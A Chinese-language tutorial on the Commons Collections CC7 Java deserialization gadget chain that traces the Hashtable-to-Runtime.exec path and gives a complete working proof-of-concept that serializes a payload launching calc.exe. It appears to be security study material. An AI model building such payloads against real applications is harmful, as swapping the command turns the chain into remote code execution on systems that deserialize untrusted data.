CC7

前言

CC7也是对CC3.1版本的利用链,使用Hashtable作为反序列化的入口点,通过AbstractMap#equals来调用LazyMap#get

利用链

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

利用链分析

看到Hashtable#readObject,循环调用了reconstitutionPutelements为传入的元素个数

图片
key和value都是从序列化流中得到的,序列化流中的值则是通过put传进去的

图片

图片

跟进reconstitutionPut

图片

图片

for循环中调用了equals,我们先看看进入for循环的条件:e != null,而e = tab[index],此时tab[index]的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;

那如何才能进入for循环呢,既然调用一次reconstitutionPut不行,那我们就调用两次,也就是说put两个元素进Hashtable对象,这样elements的值就为2,readObject中的for循环就可以循环两次;

第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

接着看看if里面的判断,要求e.hash == hash,这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行;

继续跟进到AbstractMapDecorator#equals,这里的map是可控的

图片

跟进到AbstractMap#equals,调用了m.get(),而m是根据传入的对象获取的,也就是说如果传入的是LazyMap类对象,那么这里就是调用的LazyMap#get,便可触发RCE

图片

图片

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()的时候也会调用到LazyMap#get,会触发RCE
图片

所以这里构造一个fakeTransformers,里面为空就行;

代码2

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

先将fakeTransformers传入ChainedTransformer对象;
new两个HashMap对象,都调用LazyMap.decorate,并且分别向两个对象中传值,两个key值分别为yyzZ,因为需要这两个值的hash值相等,而在java中,yyzZ的hash值恰好相等

然后将这两个LazyMap类对象put进Hashtable类对象;

代码3

1
2
3
4
5
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers
最后还要remove掉yy,应为如果不去掉的话,第二次调用reconstitutionPut的时候就会存在两个key

图片

导致进入下面的if判断,直接返回false,不再执行后面的代码图片

这里继续解释一下几个细节点:

  • 为什么要调用两次put?
    在第一次调用reconstitutionPut时,会把key和value注册进table中

图片

图片

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因

  • 为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?
    这是因为HashTable#put实际上也会调用到equals方法

图片

当调用完equals方法后,map2的key中就会增加一个yy键,而这个键的值为UNIXProcess这个类的实例

图片

这个实例并没有继承Serializable,所以是无法被序列化存进去的,如果我们不进行remove,则会报出这样一个错误

图片

所以我们需要将这个yy键-值给移除掉,从这里也能明白,实际上我们在反序列化前已经成功的执行了一次命令。但是为了反序列化时可以成功执行命令,就需要把这个键给移除掉